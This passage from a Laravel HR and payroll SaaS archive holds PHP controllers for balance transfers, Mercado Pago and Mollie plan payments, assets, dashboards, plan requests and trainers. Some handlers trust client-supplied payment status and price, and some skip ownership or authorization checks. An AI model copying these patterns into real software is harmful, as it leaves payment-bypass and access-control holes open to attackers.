\Auth::user()->creatorId(); $transferbalance->save(); AccountList::transfer_Balance($request->from_account_id, $request->to_account_id, $request->amount); return redirect()->route('transferbalance.index')->with('success', __('TransferBalance successfully created.')); } else { return redirect()->back()->with('error', __('Permission denied.')); } } public function show(TransferBalance $transferbalance) { return redirect()->route('transferbalance.index'); } public function edit(TransferBalance $transferbalance) { if(\Auth::user()->can('Edit Transfer Balance')) { if($transferbalance->created_by == \Auth::user()->creatorId()) { $transferbalances = TransferBalance::where('created_by', '=', \Auth::user()->creatorId())->get(); $accounts = AccountList::where('created_by', '=', \Auth::user()->creatorId())->get()->pluck('account_name', 'id'); $incomeCategory = IncomeType::where('created_by', '=', \Auth::user()->creatorId())->get()->pluck('name', 'id'); $paymentTypes = PaymentType::where('created_by', '=', \Auth::user()->creatorId())->get()->pluck('name', 'id'); return view('transferbalance.edit', compact('transferbalance', 'accounts', 'incomeCategory', 'paymentTypes')); } else { return response()->json(['error' => __('Permission denied.')], 401); } } else { return response()->json(['error' => __('Permission denied.')], 401); } } public function update(Request $request, TransferBalance $transferbalance) { if(\Auth::user()->can('Edit Transfer Balance')) { if($transferbalance->created_by == \Auth::user()->creatorId()) { $validator = \Validator::make( $request->all(), [ 'from_account_id' => 'required', 'to_account_id' => 'required', 'date' => 'required', 'amount' => 'required', 'payment_type_id' => 'required', ] ); if($validator->fails()) { $messages = $validator->getMessageBag(); return redirect()->back()->with('error', $messages->first()); } $transferbalance->from_account_id = $request->from_account_id; $transferbalance->to_account_id = $request->to_account_id; $transferbalance->date = $request->date; $transferbalance->amount = $request->amount; $transferbalance->payment_type_id = $request->payment_type_id; $transferbalance->referal_id = $request->referal_id; $transferbalance->description = $request->description; $transferbalance->save(); return redirect()->route('transferbalance.index')->with('success', __('TransferBalance successfully updated.')); } else { return redirect()->back()->with('error', __('Permission denied.')); } } else { return redirect()->back()->with('error', __('Permission denied.')); } } public function destroy(TransferBalance $transferbalance) { if(\Auth::user()->can('Delete Transfer Balance')) { if($transferbalance->created_by == \Auth::user()->creatorId()) { $transferbalance->delete(); return redirect()->route('transferbalance.index')->with('success', __('TransferBalance successfully deleted.')); } else { return redirect()->back()->with('error', __('Permission denied.')); } } else { return redirect()->back()->with('error', __('Permission denied.')); } } public function export(Request $request) { $name = 'TransferBalance_' . date('Y-m-d i:h:s'); $data = Excel::download(new TransferBalanceExport(), $name . '.xlsx'); return $data; } } Http/Controllers/MercadoPaymentController.php000064400000026340150364306410015465 0ustar00type == 'company') { $payment_setting = Utility::getAdminPaymentSetting(); $this->currancy = !empty($payment_setting['currency']) ? $payment_setting['currency'] : 'USD'; $this->token = isset($payment_setting['mercado_access_token']) ? $payment_setting['mercado_access_token'] : ''; $this->mode = isset($payment_setting['mercado_mode']) ? $payment_setting['mercado_mode'] : ''; $this->is_enabled = isset($payment_setting['is_mercado_enabled']) ? $payment_setting['is_mercado_enabled'] : 'off'; return $this; } } public function planPayWithMercado(Request $request) { $this->setPaymentDetail(); $planID = \Illuminate\Support\Facades\Crypt::decrypt($request->plan_id); $plan = Plan::find($planID); $authuser = Auth::user(); $coupons_id = 0; if ($plan) { /* Check for code usage */ $plan->discounted_price = false; $price = $plan->price; if (isset($request->coupon) && !empty($request->coupon)) { $request->coupon = trim($request->coupon); $coupons = Coupon::where('code', strtoupper($request->coupon))->where('is_active', '1')->first(); if (!empty($coupons)) { $usedCoupun = $coupons->used_coupon(); $discount_value = ($price / 100) * $coupons->discount; $plan->discounted_price = $price - $discount_value; $coupons_id = $coupons->id; if ($usedCoupun >= $coupons->limit) { return redirect()->back()->with('error', __('This coupon code has expired.')); } $price = $price - $discount_value; } else { return redirect()->back()->with('error', __('This coupon code is invalid or has expired.')); } } if ($price <= 0) { $authuser->plan = $plan->id; $authuser->save(); $assignPlan = $authuser->assignPlan($plan->id); if ($assignPlan['is_success'] == true && !empty($plan)) { $orderID = time(); $user = Auth::user(); if ($request->has('coupon') && $request->coupon != '') { $coupons = Coupon::where('code', strtoupper($request->coupon))->where('is_active', '1')->first(); if (!empty($coupons)) { $userCoupon = new UserCoupon(); $userCoupon->user = $user->id; $userCoupon->coupon = $coupons->id; $userCoupon->order = $orderID; $userCoupon->save(); $usedCoupun = $coupons->used_coupon(); if ($coupons->limit <= $usedCoupun) { $coupons->is_active = 0; $coupons->save(); } } } Order::create( [ 'order_id' => $orderID, 'name' => null, 'email' => null, 'card_number' => null, 'card_exp_month' => null, 'card_exp_year' => null, 'plan_name' => $plan->name, 'plan_id' => $plan->id, 'price' => $price == null ? 0 : $price, 'price_currency' => !empty($this->currancy) ? $this->currancy : 'USD', 'txn_id' => '', 'payment_type' => 'Mercado Pago', 'payment_status' => 'succeeded', 'receipt' => null, 'user_id' => $authuser->id, ] ); // $res['msg'] = __("Plan successfully upgraded."); // $res['flag'] = 2; return redirect()->route('plans.index')->with('success', __('Plan activated Successfully!')); // return $res; } else { return Utility::error_res(__('Plan fail to upgrade.')); } } $payment_setting = Utility::getAdminPaymentSetting(); $this->token = isset($payment_setting['mercado_access_token']) ? $payment_setting['mercado_access_token'] : ''; $this->mode = isset($payment_setting['mercado_mode']) ? $payment_setting['mercado_mode'] : ''; $this->is_enabled = isset($payment_setting['is_mercado_enabled']) ? $payment_setting['is_mercado_enabled'] : 'off'; \MercadoPago\SDK::setAccessToken($this->token); try { // Create a preference object $preference = new \MercadoPago\Preference(); // Create an item in the preference $item = new \MercadoPago\Item(); $item->title = "Plan : " . $plan->name; $item->quantity = 1; $item->unit_price = (float)$price; $preference->items = array($item); $success_url = route('plan.mercado', [$request->plan_id, 'payment_frequency=' . $request->mercado_payment_frequency, 'coupon_id=' . $coupons_id, 'flag' => 'success', 'price' => $price]); $failure_url = route('plan.mercado', [$request->plan_id, 'flag' => 'failure']); $pending_url = route('plan.mercado', [$request->plan_id, 'flag' => 'pending']); $preference->back_urls = array( "success" => $success_url, "failure" => $failure_url, "pending" => $pending_url ); $preference->auto_return = "approved"; $preference->save(); // Create a customer object $payer = new \MercadoPago\Payer(); // Create payer information $payer->name = \Auth::user()->name; $payer->email = \Auth::user()->email; $payer->address = array( "street_name" => '' ); if ($this->mode == 'live') { $redirectUrl = $preference->init_point; } else { $redirectUrl = $preference->sandbox_init_point; } return redirect($redirectUrl); } catch (\Exception $e) { return redirect()->back()->with('error', $e->getMessage()); } // callback url : domain.com/plan/mercado } else { return redirect()->back()->with('error', 'Plan is deleted.'); } } public function getPaymentStatus(Request $request, $plan) { $this->setPaymentDetail(); $payment_setting = Utility::getAdminPaymentSetting(); $planID = \Illuminate\Support\Facades\Crypt::decrypt($plan); $plan = Plan::find($planID); $user = Auth::user(); $orderID = time(); if ($plan) { try { // dd($plan, $request->all()); if ($plan && $request->has('status')) { if ($request->status == 'approved' && $request->flag == 'success') { if (!empty($user->payment_subscription_id) && $user->payment_subscription_id != '') { try { $user->cancel_subscription($user->id); } catch (\Exception $exception) { \Log::debug($exception->getMessage()); } } if ($request->has('coupon_id') && $request->coupon_id != '') { $coupons = Coupon::find($request->coupon_id); if (!empty($coupons)) { $userCoupon = new UserCoupon(); $userCoupon->user = $user->id; $userCoupon->coupon = $coupons->id; $userCoupon->order = $orderID; $userCoupon->save(); $usedCoupun = $coupons->used_coupon(); if ($coupons->limit <= $usedCoupun) { $coupons->is_active = 0; $coupons->save(); } } } Utility::referralTransaction($plan); $order = new Order(); $order->order_id = $orderID; $order->name = $user->name; $order->card_number = ''; $order->card_exp_month = ''; $order->card_exp_year = ''; $order->plan_name = $plan->name; $order->plan_id = $plan->id; $order->price = $request->price ? $request->price : 0; $order->price_currency = $payment_setting['currency']; $order->txn_id = $request->has('preference_id') ? $request->preference_id : ''; $order->payment_type = 'Mercado Pago'; $order->payment_status = 'succeeded'; $order->receipt = ''; $order->user_id = $user->id; $order->save(); $assignPlan = $user->assignPlan($plan->id, $request->payment_frequency); if ($assignPlan['is_success']) { return redirect()->route('plans.index')->with('success', __('Plan activated Successfully!')); } else { return redirect()->route('plans.index')->with('error', __($assignPlan['error'])); } } else { return redirect()->route('plans.index')->with('error', __('Transaction has been failed! ')); } } else { return redirect()->route('plans.index')->with('error', __('Transaction has been failed! ')); } } catch (\Exception $e) { return redirect()->route('plans.index')->with('error', __('Plan not found!')); } } } } Http/Controllers/AssetController.php000064400000016564150364306410013643 0ustar00can('Manage Assets')) { $assets = Asset::where('created_by', '=', \Auth::user()->creatorId())->get(); return view('assets.index', compact('assets')); } else { return redirect()->back()->with('error', __('Permission denied.')); } } public function create() { if (\Auth::user()->can('Create Assets')) { $employee = Employee::where('created_by', '=', \Auth::user()->creatorId())->get()->pluck('name', 'id'); return view('assets.create',compact('employee')); } else { return redirect()->back()->with('error', __('Permission denied.')); } } public function store(Request $request) { if (\Auth::user()->can('Create Assets')) { $validator = \Validator::make( $request->all(), [ 'employee_id'=>'required', 'name' => 'required', 'purchase_date' => 'required', 'supported_date' => 'required', 'amount' => 'required', ] ); if ($validator->fails()) { $messages = $validator->getMessageBag(); return redirect()->back()->with('error', $messages->first()); } $employee_id = 0; if (!empty($request->employee_id)) { $employee_id = implode(',', $request->employee_id); } $assets = new Asset(); $assets->employee_id = $employee_id; $assets->name = $request->name; $assets->purchase_date = $request->purchase_date; $assets->supported_date = $request->supported_date; $assets->amount = $request->amount; $assets->description = $request->description; $assets->created_by = \Auth::user()->creatorId(); $assets->save(); return redirect()->route('account-assets.index')->with('success', __('Assets successfully created.')); } else { return redirect()->back()->with('error', __('Permission denied.')); } } public function show(Asset $asset) { // } public function edit($id) { if (\Auth::user()->can('Edit Assets')) { $asset = Asset::find($id); $employee = Employee::where('created_by', '=', \Auth::user()->creatorId())->get()->pluck('name', 'id'); return view('assets.edit', compact('asset','employee')); } else { return redirect()->back()->with('error', __('Permission denied.')); } } public function update(Request $request, $id) { if (\Auth::user()->can('Edit Assets')) { $asset = Asset::find($id); if ($asset->created_by == \Auth::user()->creatorId()) { $validator = \Validator::make( $request->all(), [ 'name' => 'required', 'purchase_date' => 'required', 'supported_date' => 'required', 'amount' => 'required', ] ); if ($validator->fails()) { $messages = $validator->getMessageBag(); return redirect()->back()->with('error', $messages->first()); } $employee_id = 0; if (!empty($request->employee_id)) { $employee_id = implode(',', $request->employee_id); } $asset->name = $request->name; $asset->employee_id = $employee_id; $asset->purchase_date = $request->purchase_date; $asset->supported_date = $request->supported_date; $asset->amount = $request->amount; $asset->description = $request->description; $asset->save(); return redirect()->route('account-assets.index')->with('success', __('Assets successfully updated.')); } else { return redirect()->back()->with('error', __('Permission denied.')); } } else { return redirect()->back()->with('error', __('Permission denied.')); } } public function destroy($id) { if (\Auth::user()->can('Delete Assets')) { $asset = Asset::find($id); if ($asset->created_by == \Auth::user()->creatorId()) { $asset->delete(); return redirect()->route('account-assets.index')->with('success', __('Assets successfully deleted.')); } else { return redirect()->back()->with('error', __('Permission denied.')); } } else { return redirect()->back()->with('error', __('Permission denied.')); } } public function export() { $name = 'assets_' . date('Y-m-d i:h:s'); $data = Excel::download(new AssetsExport(), $name . '.xlsx'); return $data; } public function importFile(Request $request) { return view('assets.import'); } public function import(Request $request) { $rules = [ 'file' => 'required|mimes:csv,txt', ]; $validator = \Validator::make($request->all(), $rules); if ($validator->fails()) { $messages = $validator->getMessageBag(); return redirect()->back()->with('error', $messages->first()); } $assets = (new AssetsImport())->toArray(request()->file('file'))[0]; $totalassets = count($assets) - 1; $errorArray = []; for ($i = 1; $i <= $totalassets; $i++) { $asset = $assets[$i]; $assetsData = Asset::where('name', $asset[0])->where('purchase_date', $asset[2])->first(); if (!empty($assetsData)) { $errorArray[] = $assetsData; } else { $asset_data = new Asset(); $asset_data->name=$asset[0]; $asset_data->employee_id=$asset[1]; $asset_data->purchase_date=$asset[2]; $asset_data->supported_date=$asset[3]; $asset_data->amount=$asset[4]; $asset_data->description=$asset[5]; $asset_data->created_by = Auth::user()->id; $asset_data->save(); } } if (empty($errorArray)) { $data['status'] = 'success'; $data['msg'] = __('Record successfully imported'); } else { $data['status'] = 'error'; $data['msg'] = count($errorArray) . ' ' . __('Record imported fail out of' . ' ' . $totalassets . ' ' . 'record'); foreach ($errorArray as $errorData) { $errorRecord[] = implode(',', $errorData->toArray()); } \Session::put('errorArray', $errorRecord); } return redirect()->back()->with($data['status'], $data['msg']); } } Http/Controllers/HomeController.php000064400000022652150364306410013447 0ustar00type == 'employee') { $emp = Employee::where('user_id', '=', $user->id)->first(); $announcements = Announcement::orderBy('announcements.id', 'desc')->take(5)->leftjoin('announcement_employees', 'announcements.id', '=', 'announcement_employees.announcement_id')->where('announcement_employees.employee_id', '=', $emp->id)->orWhere( function ($q) { $q->where('announcements.department_id', 0)->where('announcements.employee_id', 0); } )->get(); $employees = Employee::get(); $meetings = Meeting::orderBy('meetings.id', 'desc')->take(5)->leftjoin('meeting_employees', 'meetings.id', '=', 'meeting_employees.meeting_id')->where('meeting_employees.employee_id', '=', $emp->id)->orWhere( function ($q) { $q->where('meetings.department_id', 0)->where('meetings.employee_id', 0); } )->get(); $events = Event::select('events.*', 'events.id as event_id', 'event_employees.*')->leftjoin('event_employees', 'events.id', '=', 'event_employees.event_id')->where('event_employees.employee_id', '=', $emp->id)->orWhere( function ($q) { $q->where('events.department_id', 0)->where('events.employee_id', 0); } )->get(); $arrEvents = []; foreach ($events as $event) { $arr['id'] = $event['event_id']; $arr['title'] = $event['title']; $arr['start'] = $event['start_date']; $arr['end'] = $event['end_date']; $arr['className'] = $event['color']; // $arr['borderColor'] = "#fff"; $arr['url'] = (!empty($event['event_id'])) ? route('eventsshow', $event['event_id']) : '0'; // $arr['url'] = (!empty($event['event_id'])) ? route('eventsshow', $event['event_id']) : '0'; // $arr['textColor'] = "white"; $arrEvents[] = $arr; } $date = date("Y-m-d"); $time = date("H:i:s"); $employeeAttendance = AttendanceEmployee::orderBy('id', 'desc')->where('employee_id', '=', !empty(\Auth::user()->employee) ? \Auth::user()->employee->id : 0)->where('date', '=', $date)->first(); $officeTime['startTime'] = Utility::getValByName('company_start_time'); $officeTime['endTime'] = Utility::getValByName('company_end_time'); return view('dashboard.dashboard', compact('arrEvents', 'announcements', 'employees', 'meetings', 'employeeAttendance', 'officeTime')); } else if ($user->type == 'super admin') { $user = \Auth::user(); $user['total_user'] = $user->countCompany(); $user['total_paid_user'] = $user->countPaidCompany(); $user['total_orders'] = Order::total_orders(); $user['total_orders_price'] = Order::total_orders_price(); $user['total_plan'] = Plan::total_plan(); $user['most_purchese_plan'] = (!empty(Plan::most_purchese_plan()) ? Plan::most_purchese_plan()->name : ''); $chartData = $this->getOrderChart(['duration' => 'week']); return view('dashboard.super_admin', compact('user', 'chartData')); } else { $events = Event::where('created_by', '=', \Auth::user()->creatorId())->get(); $arrEvents = []; foreach ($events as $event) { $arr['id'] = $event['id']; $arr['title'] = $event['title']; $arr['start'] = $event['start_date']; $arr['end'] = $event['end_date']; $arr['className'] = $event['color']; // $arr['borderColor'] = "#fff"; // $arr['textColor'] = "white"; $arr['url'] = route('event.edit', $event['id']); $arrEvents[] = $arr; } $announcements = Announcement::orderBy('announcements.id', 'desc')->take(5)->where('created_by', '=', \Auth::user()->creatorId())->get(); $employees = User::where('type', '=', 'employee')->where('created_by', '=', \Auth::user()->creatorId())->get(); $countEmployee = count($employees); $user = User::where('type', '!=', 'employee')->where('created_by', '=', \Auth::user()->creatorId())->get(); $countUser = count($user); $countTicket = Ticket::where('created_by', '=', \Auth::user()->creatorId())->count(); $countOpenTicket = Ticket::where('status', '=', 'open')->where('created_by', '=', \Auth::user()->creatorId())->count(); $countCloseTicket = Ticket::where('status', '=', 'close')->where('created_by', '=', \Auth::user()->creatorId())->count(); $currentDate = date('Y-m-d'); // $employees = User::where('type', '=', 'employee')->where('created_by', '=', \Auth::user()->creatorId())->get(); // $countEmployee = count($employees); $notClockIn = AttendanceEmployee::where('date', '=', $currentDate)->get()->pluck('employee_id'); $notClockIns = Employee::where('created_by', '=', \Auth::user()->creatorId())->whereNotIn('id', $notClockIn)->get(); $accountBalance = AccountList::where('created_by', '=', \Auth::user()->creatorId())->sum('initial_balance'); $activeJob = Job::where('status', 'active')->where('created_by', '=', \Auth::user()->creatorId())->count(); $inActiveJOb = Job::where('status', 'in_active')->where('created_by', '=', \Auth::user()->creatorId())->count(); $totalPayee = Payees::where('created_by', '=', \Auth::user()->creatorId())->count(); $totalPayer = Payer::where('created_by', '=', \Auth::user()->creatorId())->count(); $meetings = Meeting::where('created_by', '=', \Auth::user()->creatorId())->limit(8)->get(); $users = User::find(\Auth::user()->creatorId()); $plan = Plan::find($users->plan); if ($plan->storage_limit > 0) { $storage_limit = ($users->storage_limit / $plan->storage_limit) * 100; } else { $storage_limit = 0; } return view('dashboard.dashboard', compact('arrEvents', 'announcements', 'employees', 'activeJob', 'inActiveJOb', 'meetings', 'countEmployee', 'countUser', 'countTicket', 'countOpenTicket', 'countCloseTicket', 'notClockIns', 'accountBalance', 'totalPayee', 'totalPayer', 'users', 'plan', 'storage_limit')); } } else { if (!file_exists(storage_path() . "/installed")) { header('location:install'); die; } else { $settings = Utility::settings(); if ($settings['display_landing_page'] == 'on' && \Schema::hasTable('landing_page_settings')) { $plans = Plan::get(); $get_section = LandingPageSection::orderBy('section_order', 'ASC')->get(); return view('landingpage::layouts.landingpage', compact('plans', 'get_section')); } else { return redirect('login'); } } } } public function getOrderChart($arrParam) { $arrDuration = []; if ($arrParam['duration']) { if ($arrParam['duration'] == 'week') { $previous_week = strtotime("-2 week +1 day"); for ($i = 0; $i < 14; $i++) { $arrDuration[date('Y-m-d', $previous_week)] = date('d-M', $previous_week); $previous_week = strtotime(date('Y-m-d', $previous_week) . " +1 day"); } } } $arrTask = []; $arrTask['label'] = []; $arrTask['data'] = []; foreach ($arrDuration as $date => $label) { $data = Order::select(\DB::raw('count(*) as total'))->whereDate('created_at', '=', $date)->first(); $arrTask['label'][] = $label; $arrTask['data'][] = $data->total; } return $arrTask; } } Http/Controllers/PlanRequestController.php000064400000013660150364306410015021 0ustar00type == 'super admin') { $plan_requests = PlanRequest::all(); return view('plan_request.index', compact('plan_requests')); } else { return redirect()->back()->with('error', __('Permission Denied.')); } } /* *@plan_id = Plan ID encoded */ public function requestView($plan_id) { if (Auth::user()->type != 'super admin') { $planID = \Illuminate\Support\Facades\Crypt::decrypt($plan_id); $plan = Plan::find($planID); if (!empty($plan)) { return view('plan_request.show', compact('plan')); } else { return redirect()->back()->with('error', __('Something went wrong.')); } } else { return redirect()->back()->with('error', __('Permission Denied.')); } } /* * @plan_id = Plan ID encoded * @duration = what duration is selected by user while request */ public function userRequest($plan_id) { $objUser = Auth::user(); if ($objUser->requested_plan == 0) { $planID = \Illuminate\Support\Facades\Crypt::decrypt($plan_id); $plan = Plan::where('id', $planID)->first(); if (!empty($planID)) { PlanRequest::create([ 'user_id' => $objUser->id, 'plan_id' => $planID, 'duration' => $plan->duration ]); // Update User Table $objUser['requested_plan'] = $planID; $objUser->update(); return redirect()->back()->with('success', __('Request Send Successfully.')); } else { return redirect()->back()->with('error', __('Something went wrong.')); } } else { return redirect()->back()->with('error', __('You already send request to another plan.')); } } /* * @id = Project ID * @response = 1(accept) or 0(reject) */ public function acceptRequest($id, $response) { if (Auth::user()->type == 'super admin') { $payment_setting = Utility::getAdminPaymentSetting(); $plan_request = PlanRequest::find($id); if (!empty($plan_request)) { $user = User::find($plan_request->user_id); if ($response == 1) { $user->requested_plan = $plan_request->plan_id; $user->plan = $plan_request->plan_id; $user->requested_plan = '0'; $user->save(); $plan = Plan::find($plan_request->plan_id); $assignPlan = $user->assignPlan($plan_request->plan_id, $plan_request->duration); $price = $plan->price; if ($assignPlan['is_success'] == true && !empty($plan)) { if (!empty($user->payment_subscription_id) && $user->payment_subscription_id != '') { try { $user->cancel_subscription($user->id); } catch (\Exception $exception) { \Log::debug($exception->getMessage()); } } $orderID = strtoupper(str_replace('.', '', uniqid('', true))); Order::create([ 'order_id' => $orderID, 'name' => null, 'email' => null, 'card_number' => null, 'card_exp_month' => null, 'card_exp_year' => null, 'plan_name' => $plan->name, 'plan_id' => $plan->id, 'price' => $price, 'price_currency' => !empty($payment_setting['currency']) ? $payment_setting['currency'] : 'usd', 'txn_id' => '', 'payment_type' => __('Manually Upgrade By Super Admin'), 'payment_status' => 'succeeded', 'receipt' => null, 'user_id' => $user->id, ]); $plan_request->delete(); return redirect()->back()->with('success', __('Plan successfully upgraded.')); } else { return redirect()->back()->with('error', __('Plan fail to upgrade.')); } } else { // $user->update(['requested_plan' => '0']); $user['requested_plan'] = 0; $user->update(); $plan_request->delete(); return redirect()->back()->with('success', __('Request Rejected Successfully.')); } } else { return redirect()->back()->with('error', __('Something went wrong.')); } } else { return redirect()->back()->with('error', __('Permission Denied.')); } } /* * @id = User ID */ public function cancelRequest($id) { $user = User::find($id); $user['requested_plan'] = '0'; $user->update(); PlanRequest::where('user_id', $id)->delete(); return redirect()->back()->with('success', __('Request Canceled Successfully.')); } public function show(PlanRequest $planRequest) { } } Http/Controllers/MolliePaymentController.php000064400000023743150364306410015340 0ustar00type == 'company') { $admin_payment_setting = Utility::getAdminPaymentSetting(); $this->api_key = isset($admin_payment_setting['mollie_api_key']) ? $admin_payment_setting['mollie_api_key'] : ''; $this->profile_id = isset($admin_payment_setting['mollie_profile_id']) ? $admin_payment_setting['mollie_profile_id'] : ''; $this->partner_id = isset($admin_payment_setting['mollie_partner_id']) ? $admin_payment_setting['mollie_partner_id'] : ''; $this->is_enabled = isset($admin_payment_setting['is_mollie_enabled']) ? $admin_payment_setting['is_mollie_enabled'] : 'off'; return $this; } } public function planPayWithMollie(Request $request) { $admin_payment_setting = Utility::getAdminPaymentSetting(); $payment = $this->paymentConfig(); $planID = \Illuminate\Support\Facades\Crypt::decrypt($request->plan_id); $plan = Plan::find($planID); $authuser = Auth::user(); $coupons_id = 0; if($plan) { $price = $plan->price; if(isset($request->coupon) && !empty($request->coupon)) { $request->coupon = trim($request->coupon); $coupons = Coupon::where('code', strtoupper($request->coupon))->where('is_active', '1')->first(); if(!empty($coupons)) { $usedCoupun = $coupons->used_coupon(); $discount_value = ($price / 100) * $coupons->discount; $plan->discounted_price = $price - $discount_value; $coupons_id = $coupons->id; if($usedCoupun >= $coupons->limit) { return redirect()->back()->with('error', __('This coupon code has expired.')); } $price = $price - $discount_value; } else { return redirect()->back()->with('error', __('This coupon code is invalid or has expired.')); } } if($price <= 0) { $authuser->plan = $plan->id; $authuser->save(); $assignPlan = $authuser->assignPlan($plan->id); if($assignPlan['is_success'] == true && !empty($plan)) { $orderID = time(); $user = Auth::user(); if ($request->has('coupon') && $request->coupon != '') { $coupons = Coupon::where('code', strtoupper($request->coupon))->where('is_active', '1')->first(); if (!empty($coupons)) { $userCoupon = new UserCoupon(); $userCoupon->user = $user->id; $userCoupon->coupon = $coupons->id; $userCoupon->order = $orderID; $userCoupon->save(); $usedCoupun = $coupons->used_coupon(); if ($coupons->limit <= $usedCoupun) { $coupons->is_active = 0; $coupons->save(); } } } Order::create( [ 'order_id' => $orderID, 'name' => null, 'email' => null, 'card_number' => null, 'card_exp_month' => null, 'card_exp_year' => null, 'plan_name' => $plan->name, 'plan_id' => $plan->id, 'price' => $price == null ? 0 : $price, 'price_currency' => !empty($admin_payment_setting['currency']) ? $admin_payment_setting['currency'] : 'USD', 'txn_id' => '', 'payment_type' => __('Mollie'), 'payment_status' => 'succeeded', 'receipt' => null, 'user_id' => $authuser->id, ] ); $assignPlan = $authuser->assignPlan($plan->id); return redirect()->route('plans.index')->with('success', __('Plan activated Successfully!')); } else { return redirect()->back()->with('error', __('Plan fail to upgrade.')); } } $mollie = new \Mollie\Api\MollieApiClient(); $mollie->setApiKey($payment->api_key); $payment = $mollie->payments->create( [ "amount" => [ "currency" => $admin_payment_setting['currency'], "value" => number_format($price, 2), ], "description" => "payment for product", "redirectUrl" => route( 'plan.mollie', [ $request->plan_id, 'coupon_id=' . $coupons_id, 'price' => $price, ] ), ] ); session()->put('mollie_payment_id', $payment->id); return redirect($payment->getCheckoutUrl())->with('payment_id', $payment->id); } else { return redirect()->back()->with('error', 'Plan is deleted.'); } } public function getPaymentStatus(Request $request, $plan) { $admin_payment_setting = Utility::getAdminPaymentSetting(); $payment = $this->paymentConfig(); $planID = \Illuminate\Support\Facades\Crypt::decrypt($plan); $plan = Plan::find($planID); $user = Auth::user(); $orderID = time(); if($plan) { try { $mollie = new \Mollie\Api\MollieApiClient(); $mollie->setApiKey($payment->api_key); if(session()->has('mollie_payment_id')) { $payment = $mollie->payments->get(session()->get('mollie_payment_id')); if($payment->isPaid()) { if($request->has('coupon_id') && $request->coupon_id != '') { $coupons = Coupon::find($request->coupon_id); if(!empty($coupons)) { $userCoupon = new UserCoupon(); $userCoupon->user = $user->id; $userCoupon->coupon = $coupons->id; $userCoupon->order = $orderID; $userCoupon->save(); $usedCoupun = $coupons->used_coupon(); if($coupons->limit <= $usedCoupun) { $coupons->is_active = 0; $coupons->save(); } } } Utility::referralTransaction($plan); $order = new Order(); $order->order_id = $orderID; $order->name = $user->name; $order->card_number = ''; $order->card_exp_month = ''; $order->card_exp_year = ''; $order->plan_name = $plan->name; $order->plan_id = $plan->id; $order->price = $request->price ? $request->price : 0; $order->price_currency = $admin_payment_setting['currency']; $order->txn_id = isset($request->TXNID) ? $request->TXNID : ''; $order->payment_type = __('Mollie'); $order->payment_status = 'success'; $order->receipt = ''; $order->user_id = $user->id; $order->save(); $assignPlan = $user->assignPlan($plan->id, $request->payment_frequency); if($assignPlan['is_success']) { return redirect()->route('plans.index')->with('success', __('Plan activated Successfully!')); } else { return redirect()->route('plans.index')->with('error', __($assignPlan['error'])); } } else { return redirect()->route('plans.index')->with('error', __('Transaction has been failed! ')); } } else { return redirect()->route('plans.index')->with('error', __('Transaction has been failed! ')); } } catch(\Exception $e) { return redirect()->route('plans.index')->with('error', __('Plan not found!')); } } } } Http/Controllers/TrainerController.php000064400000016303150364306410014157 0ustar00can('Manage Trainer')) { $trainers = Trainer::where('created_by', '=', \Auth::user()->creatorId())->get(); return view('trainer.index', compact('trainers')); } else { return redirect()->back()->with('error', __('Permission denied.')); } } public function create() { if(\Auth::user()->can('Create Trainer')) { $branches = Branch::where('created_by', \Auth::user()->creatorId())->get()->pluck('name', 'id'); return view('trainer.create', compact('branches')); } else { return redirect()->back()->with('error', __('Permission denied.')); } } public function store(Request $request) { if(\Auth::user()->can('Create Trainer')) { $validator = \Validator::make( $request->all(), [ 'branch' => 'required', 'firstname' => 'required', 'lastname' => 'required', 'contact' => 'required', 'email' => 'required', ] ); if($validator->fails()) { $messages = $validator->getMessageBag(); return redirect()->back()->with('error', $messages->first()); } $trainer = new Trainer(); $trainer->branch = $request->branch; $trainer->firstname = $request->firstname; $trainer->lastname = $request->lastname; $trainer->contact = $request->contact; $trainer->email = $request->email; $trainer->address = $request->address; $trainer->expertise = $request->expertise; $trainer->created_by = \Auth::user()->creatorId(); $trainer->save(); return redirect()->route('trainer.index')->with('success', __('Trainer successfully created.')); } else { return redirect()->back()->with('error', __('Permission denied.')); } } public function show(Trainer $trainer) { return view('trainer.show', compact('trainer')); } public function edit(Trainer $trainer) { if(\Auth::user()->can('Edit Trainer')) { $branches = Branch::where('created_by', \Auth::user()->creatorId())->get()->pluck('name', 'id'); return view('trainer.edit', compact('branches', 'trainer')); } else { return redirect()->back()->with('error', __('Permission denied.')); } } public function update(Request $request, Trainer $trainer) { if(\Auth::user()->can('Edit Trainer')) { $validator = \Validator::make( $request->all(), [ 'branch' => 'required', 'firstname' => 'required', 'lastname' => 'required', 'contact' => 'required', 'email' => 'required', ] ); if($validator->fails()) { $messages = $validator->getMessageBag(); return redirect()->back()->with('error', $messages->first()); } $trainer->branch = $request->branch; $trainer->firstname = $request->firstname; $trainer->lastname = $request->lastname; $trainer->contact = $request->contact; $trainer->email = $request->email; $trainer->address = $request->address; $trainer->expertise = $request->expertise; $trainer->save(); return redirect()->route('trainer.index')->with('success', __('Trainer successfully updated.')); } else { return redirect()->back()->with('error', __('Permission denied.')); } } public function destroy(Trainer $trainer) { if(\Auth::user()->can('Delete Trainer')) { if($trainer->created_by == \Auth::user()->creatorId()) { $trainer->delete(); return redirect()->route('trainer.index')->with('success', __('Trainer successfully deleted.')); } else { return redirect()->back()->with('error', __('Permission denied.')); } } else { return redirect()->back()->with('error', __('Permission denied.')); } } public function export() { $name = 'trainer_' . date('Y-m-d i:h:s'); $data = Excel::download(new TrainerExport(), $name . '.xlsx'); return $data; } public function importFile(Request $request) { return view('trainer.import'); } public function import(Request $request) { $rules = [ 'file' => 'required|mimes:csv,txt', ]; $validator = \Validator::make($request->all(), $rules); if ($validator->fails()) { $messages = $validator->getMessageBag(); return redirect()->back()->with('error', $messages->first()); } $trainer = (new TrainerImport())->toArray(request()->file('file'))[0]; $totaltrainer = count($trainer) - 1; $errorArray = []; for($i=1;$i<=$totaltrainer;$i++) { $trainers = $trainer[$i]; $trainersData=Trainer::where('email',$trainers[4])->first(); if(!empty($trainersData)) { $errorArray[]=$trainersData; } else { $trainer_data=new Trainer(); $getBranchId = Branch::where('name', $trainers[0])->first(); $trainer_data->branch= !empty($getBranchId->id) ? $getBranchId->id : ''; $trainer_data->firstname=$trainers[1]; $trainer_data->lastname=$trainers[2]; $trainer_data->contact=$trainers[3]; $trainer_data->email=$trainers[4]; $trainer_data->address=$trainers[5]; $trainer_data->expertise=$trainers[6]; $trainer_data->created_by=Auth::user()->id; $trainer_data->save(); } } if (empty($errorArray)) { $data['status'] = 'success'; $data['msg'] = __('Record successfully imported'); } else { $data['status'] = 'error'; $data['msg'] = count($errorArray) . ' ' . __('Record imported fail out of' . ' ' . $totaltrainer . ' ' . 'record'); foreach ($errorArray as $errorData) { $errorRecord[] = 